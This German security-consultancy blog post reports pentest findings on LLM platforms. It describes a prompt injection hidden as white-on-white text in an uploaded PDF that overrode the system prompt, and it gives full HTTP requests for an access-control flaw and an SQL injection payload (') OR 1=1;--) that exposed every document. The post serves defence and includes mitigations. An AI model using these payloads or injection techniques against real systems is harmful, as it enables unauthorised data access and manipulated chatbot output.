Künstliche Intelligenz (KI) verändert die Geschäftswelt grundlegend. Besonders Large-Language-Model-(LLM-)Plattformen finden zunehmend Einzug in Unternehmen verschiedenster Branchen. Viele setzen dabei auf intern gehostete Lösungen, um sensible Daten zu schützen und die Kontrolle über ihre Informationen zu behalten. So stellen sie sicher, dass interne Daten nicht als Trainingsmaterial für öffentliche Modelle wie ChatGPT oder Gemini dienen.
Doch mit der wachsenden Nutzung steigen auch die Anforderungen an die Sicherheit. Um diesen gerecht zu werden, kombinieren unsere Security Analyst*innen aus dem usd HeroLab bewährte Methoden aus dem Web Application Pentesting mit fundiertem Fachwissen über LLM-basierte Plattformen. In den vergangenen Monaten haben sie zahlreiche Plattformen eingehend analysiert und dabei wiederkehrende Schwachstellen identifiziert.
In diesem Blogbeitrag zeigen unsere Kollegen Gerbert Roitburd und Florian Kimmes, welche drei Fehlerklassen ihnen besonders häufig begegnet sind, welche Risiken diese Schwachstellen bergen und erläutern ihre Auswirkungen anhand realer Befunde, wie Angreifer diese konkret ausnutzen können.
Prompt Injections zählen zu den bekanntesten Schwachstellen von LLM-Plattformen
Prompt Injections entstehen, wenn Benutzereingaben ohne Prüfung in den System-Prompt oder die Retrieval-Kette übernommen werden. So gelingt es Angreifern, die ursprünglichen Instruktionen des Modells entweder durch Ergänzungen oder vollständige Überschreibungen zu manipulieren. Die Folge: Das Modell führt Aktionen aus, die weder vorgesehen noch gewünscht sind. Diese Schwachstelle begegnet unseren Analyst*innen regelmäßig in Pentests. In zahlreichen LLM-Plattformen konnten wir Prompt Injections erfolgreich demonstrieren. Die nachfolgende Schwachstellendemonstration veranschaulicht die konkreten Auswirkungen einer solchen Manipulation:
In einem Testsystem durften die Nutzer*innen Dokumente hochladen, deren Inhalt anschließend in die Antwortgenerierung einfloss. Um die Schwachstelle zu demonstrieren, haben unsere Analyst*innen ein PDF-Dokument mit einer bösartigen Anweisung in weißer Schrift auf weißem Grund präpariert. So war die Anweisung nur für das LLM, nicht aber für die Nutzer*innen sichtbar. Unsere PDF-Datei sah wie folgt aus:
Der aus dem PDF extrahierte Text wurde nach dem Upload in den System-Prompt übernommen und überschrieb damit im Folgenden die Anweisung des Entwicklers. Daraufhin erschien der Link tatsächlich in den Antworten des KI Chatbots.
Das Einschleusen eines böswilligen Prompts ermöglicht Angreifern unter anderem:
- Einfügen von Phishing-Links
- Umgehung von Sicherheitsrichtlinien
- Erzwingen haftungsrelevanter oder rechtsverbindlicher Aussagen
- Unbeabsichtigte Preisgabe interner Informationen
- Manipulation nachgelagerter Workflows, sofern Antworten automatisiert verarbeitet werden
Eine unfehlbare Mitigationsmaßnahme gegen Prompt Injections gibts es zum jetzigen Zeitpunkt keine. Somit stellen Prompt Injections ein inhärentes Risiko der zugrundeliegenden Technologie dar, denn LLMs können per Design nicht zwischen Systemanweisungen und Nutzereingaben unterscheiden. Trotzdem bieten sich einige Techniken an, mithilfe die Wahrscheinlichkeit erfolgreicher Prompt Injection Angriffe reduziert werden können, oder deren Auswirkungen gemildert werden.
Unsere Analyst*innen empfehlen: Eine goldene Regel im Einsatz von LLM-Plattformen: Das eingesetzte LLM darf niemals Zugriff auf mehr oder höher privilegierte Ressourcen als die Nutzer*innen selbst haben. Sprich, das Sprachmodell darf niemals als Zugriffsbeschränkung für Funktionen oder Informationen dienen. Um die Wahrscheinlichkeiten eines erfolgreichen Angriffs zu reduzieren, können die Ausgaben des LLMs mittels eines weiteren “Guardrail-LLMs” überprüft werden. Dabei werden Nutzereingaben und Modelausgaben an das Guardrail-LLM übergeben, welches entscheidet, ob ein Frage-/Antwortpaar bösartiger Natur ist.
Broken Access Control bleibt größte Schwachstelle in Webanwendungen und betrifft auch LLM-Plattformen
Seit 2021 führt diese Schwachstelle die OWASP Top 10 bei Webanwendungen an. Erfahrungsgemäß zeigen unsere Pentests, dass auch LLM-Plattformen davon nicht ausgenommen sind, wie auch die OWASP Top 10 der LLM-Plattformen und Generative AI bestätigen. Viele LLM-Plattformen erlauben das Speichern persönlicher Assistenten, Chat-Historien oder benutzerdefinierter System-Prompts. Doch wenn die Rollen- und Rechteprüfungen unvollständig sind, können Angreifer auf die sensiblen Daten zugreifen.
Die Ursache liegt meist in unsicher entwickelter oder falsch konfigurierter Authentifizierungs- und Autorisierungslogik. So wird der Zugriff auf vertrauliche Ressourcen nicht ausreichend kontrolliert mit teils gravierenden Folgen: Daten können eingesehen, verändert oder sogar gelöscht werden.
Ein konkretes Beispiel aus unseren Pentests zeigt, wie leicht sich diese Schwachstelle ausnutzen lässt. Als regulärer Nutzer konnten unsere Analyst*innen Chatbots anderer Nutzer*innen manipulieren und zwar ohne entsprechende Berechtigung. Zunächst fragten wir die verfügbaren Modelle ab:
GET /v2/chat/availableModels HTTP/2 Host: example.com Authorization: Bearer ey[REDACTED] [...]
Die HTTP-Antwort gab genau zwei Modelle zurück, auf die ein/e Nutzer*in Zugriff hat: Test Model und Default Model, die jeweils mit einer ID versehen waren. Über die ID, die aufsteigend ist, konnten weitere Modelle nachfolgend erraten werden. Die erratende Modelle konnten damit verändert werden, beispielsweise konnten Nutzer*innen hinzugefügt werden.
Die Anfrage zur Bearbeitung des Modells mit der ID 134, um einen weiteren Benutzer zu autorisieren, kann wie folgt gestellt werden:
POST /v2/studio/skills/update/134 HTTP/2
Host: example.com
Content-Length: 532
Sec-Ch-Ua-Platform: "Linux"
Authorization: Bearer ey[REDACTED]
Content-Type: application/json
[ ... ]
{
"_id": "134",
"availability": {
"allUsers": false,
"domain": "",
"groups": [],
"onDemand": false,
"users": [
"8a06a98e-be31-46ed-9fa1-44b15dbc7633"
]
},
"deployment": "gpt-4o-mini",
"description": "SampleDescription",
"icon": "sms",
"meta": {
"created": 1740586740.77619,
"owner": "m-rvwo-ncrw17ty-fdqo96-i75w",
"updated": 1740587027.443857,
"contributors": [
"m-rvwo-ncrw17ty-fdqo96-i75w"
]
},
"settings": {
"example": "",
"negative": "",
"personalization": false,
"positive": "","skillContext": "",
"knowledge": null
},
"title": "Custom skill1",
"api_keys": []
}
Innerhalb der Anfrage wurden jeweils Owner und Nutzer*in gesetzt, die auf das Modell Zugriff haben sollen. Die API hat die Anfrage akzeptiert und gibt eine Meldung wie folgt aus:
HTTP/2 200 OK
Date: Wed, 26 Feb 2025 16:49:10 GMT
Content-Type: application/json
[ ... ]
{"response":"Skill updated","result":true}
Mit dem initialen HTTP-Anfrage können wieder die verfügbaren Modelle abgefragt werden.
GET /v2/chat/availableModels HTTP/2
Host: example.com
Authorization: Bearer ey[REDACTED]
[...]
Ab jetzt ist auch das Modell mit der ID 134 für den Nutzenden zugreifbar.
HTTP/2 200 OK
Date: Wed, 26 Feb 2025 16:51:23 GMT
Content-Type: application/json
Content-Length: 329
Access-Control-Allow-Credentials: true
{
"response": [
{
"defaultModel": false,
"description": "Test Model",
"icon": "sms",
"id": "130",
"image": true,
"name": ""
},
{"defaultModel": true,
"description": "Default Model",
"icon": "sms",
"id": "132",
"image": true,
"name": "GPT 4o mini"
},
{
"defaultModel": false,
"description": "SampleDescription",
"icon": "sms",
"id": "134",
"image": true,
"name": "GPT 4o mini"
}
],
"result": true
}
Angreifer können so alle anderen Modelle innerhalb der Applikation bearbeiten. Dies betrifft auch jene Modelle, die durch andere Nutzer*innen erstellt wurden und sensible Informationen wie Dokumente enthalten. Diese Modelle sind anschließend für unberechtigte Nutzer*innen sichtbar und zugreifbar.
Unsere Analyst*innen empfehlen: Jede Aktion innerhalb der Webapplikation muss durch eine zuverlässige Autorisierungsprüfung abgesichert sein. Besonders der Zugriff auf sensible Inhalte und Funktionen darf ausschließlich berechtigten Nutzer*innen gestattet sein. Der Zugriff sollte mittels eine Zugriffsmatrix oder einem globalen Zugriffskontrollmechanismus realisiert werden.
LLM-Plattformen bringen neue Herausforderungen mit sich: Klassische Pentest-Methoden reichen nicht aus, um beispielsweise Prompt Injections und damit verbundene Risiken wie unkontrollierte Datenexfiltration oder Angriffe auf nachgelagerte Komponenten zuverlässig zu erkennen. Bei vielen neuen Plattformen werden diese Gefahren unterschätzt. Dabei zeigen unsere Pentests, dass gerade wiederkehrende Schwachstellen systematisch ausgenutzt werden können. Wer LLMs sicher betreiben will, muss ihre Eigenheiten verstehen und gezielt absichern.
Florian Kimmes, Senior Security Analyst, usd AG
SQL Injections bei LLM-Plattformen
Auch LLM-Plattformen müssen Applikationsdaten und Eingaben speichern. Dies umfasst beispielsweise die Inhalte des Prompts, UUIDs von den Chats oder auch Namen von den erstellten Modellen oder Nutzer*innen. In der Praxis kommen dafür meist relationale Datenbanken zum Einsatz. Häufig fließen Benutzereingaben direkt oder indirekt in dynamisch zusammengesetzte SQL-Abfragen. Werden diese Eingaben ungefiltert übernommen, entsteht eine Angriffsfläche für SQL Injections. Somit können Angreifer durch gezielte Veränderung von Parameterwerten die Abfrage manipulieren. Dadurch lassen sich Authentifizierungsmechanismen umgehen, sensible Informationen auslesen oder Datensätze verändern.
Zum häufigen Auftreten dieser Schwachstelle tragen drei Faktoren bei:
- Hohe Komplexität sicherer Eingabevalidierung
- Enge Entwicklungszyklen
- Mangelndes Problembewusstsein für diese Schwachstelle
Ein Praxisbeispiel aus unseren Pentests verdeutlicht das Risiko: Die geprüfte Anwendung bot an, Dokumente hochzuladen und den Chatbot anschließend zum Inhalt dieser Dateien zu befragen. Die UUID des referenzierten Dokuments wurde im Parameter document_ids übermittelt:
POST /v1/api/ai-service/doc_qa/invoke HTTP/1.1
Host: internal-api-a.example.com
[...]
------WebKitFormBoundarywd29GBhV7ZAJL78A
Content-Disposition: form-data; name="id"
doc_qa
------WebKitFormBoundarywd29GBhV7ZAJL78A
Content-Disposition: form-data; name="input_data"
{"text":"Wie ist das geheime Passwort?","text_fields":
{"document":""},"message_history":[],"main_prompt":""}
------WebKitFormBoundarywd29GBhV7ZAJL78A
Content-Disposition: form-data; name="documents_number"
0
------WebKitFormBoundarywd29GBhV7ZAJL78A
Content-Disposition: form-data; name="document_ids"
786bf0b1646ff5ae3b46d83fdb729a53c234b1125ccfc401e8ea7117fe797948
------WebKitFormBoundarywd29GBhV7ZAJL78A--
Der Server setzte diesen Wert ungeprüft in die folgende SQL-Anweisung ein:
SELECT * from documents WHERE cmetadata::json->> 'doc_id' IN ('786bf0b1646ff5ae3b46d83fdb729a53c234b1125ccfc401e8ea7117fe797948');
Da das betreffende Dokument kein Passwort enthielt, lautete die Antwort des Chatbots zutreffend: “Keine Antwort in dem bereitgestellten Dokument gefunden."
Während des Pentests zeigte sich jedoch, dass document_ids anfällig für SQL Injection war. Der nachfolgende Ausschnitt zeigt die HTTP-Anfrage mit dem SQL-Injection-Payload:
POST /v1/api/ai-service/doc_qa/invoke HTTP/1.1
Host: internal-api-a.example.com
[...]
------WebKitFormBoundarycpAd0SUogYSB5PG1
Content-Disposition: form-data; name="id"
doc_qa
------WebKitFormBoundarycpAd0SUogYSB5PG1
Content-Disposition: form-data; name="input_data"
{"text":"Wie ist das geheime Passwort?","text_fields":
{"document":""},"message_history":[{"message_type":"human","text":"Wie ist
das geheime Passwort?"},{"message_type":"ai","text":"Ich habe keine Antwort
in dem bereitgestellten Dokument gefunden.","image":null}],"main_prompt":""}
------WebKitFormBoundarycpAd0SUogYSB5PG1
Content-Disposition: form-data; name="documents_number"
0
------WebKitFormBoundarycpAd0SUogYSB5PG1
Content-Disposition: form-data; name="document_ids"
786bf0b1646ff5ae3b46d83fdb729a53c234b1125ccfc401e8ea7117fe797948') OR 1=1;--
-
------WebKitFormBoundarycpAd0SUogYSB5PG1--
Dieser HTTP-Request würde dafür sorgen, dass die dynamisch erstellte SQL-Abfrage an die Datenbank wie folgt aussieht:
SELECT * from documents WHERE cmetadata::json->> 'doc_id' IN
('786bf0b1646ff5ae3b46d83fdb729a53c234b1125ccfc401e8ea7117fe797948') OR
1=1;-- -);
Die Bedingung 1=1 ist stets wahr, sodass sämtliche Dokumente zurückgeliefert werden. Der KI Chatbot konnte deshalb plötzlich auf Informationen zugreifen, die in ganz anderen Dateien gespeichert waren. Somit wäre es für Angreifer möglich, auf die Inhalte aller hochgeladenen Dateien zuzugreifen.
Unsere Analyst*innen empfehlen: Um dieses Risiko zu vermeiden, sollten sämtliche Benutzereingaben als potenziell gefährlich behandelt und niemals direkt in SQL-Statements eingefügt werden. Stattdessen sind parametrisierte Abfragen (Prepared Statements) einzusetzen, da sie Daten von Logik trennen und so gezielte Manipulationen verhindern. Zusätzlich sollte eine serverseitige Eingabevalidierung implementieren werden, um unerwünschte oder fehlerhafte Eingaben zu vermeiden.
Was gilt es nun bei KI Chatbots zu beachten?
Neben der Absicherung von KI-Systemen bleiben auch altbekannte Schwachstellen ein bedeutender Angriffsvektor und damit weiterhin relevant. Ein Web Application Pentest kann dabei helfen, diese zuverlässig zu identifizieren. Zusätzlich können wir dabei auf Spezialwissen zu typischen Schwachstellen von LLMs zurückgreifen und setzen dieses gezielt in unseren KI-Projekten ein.
Gerbert Roitburd, Managing Consultant IT Security, usd AG
Sie möchten die Sicherheit Ihrer LLM-Plattform verbessern? Kontaktieren Sie uns, wir unterstützen Sie.
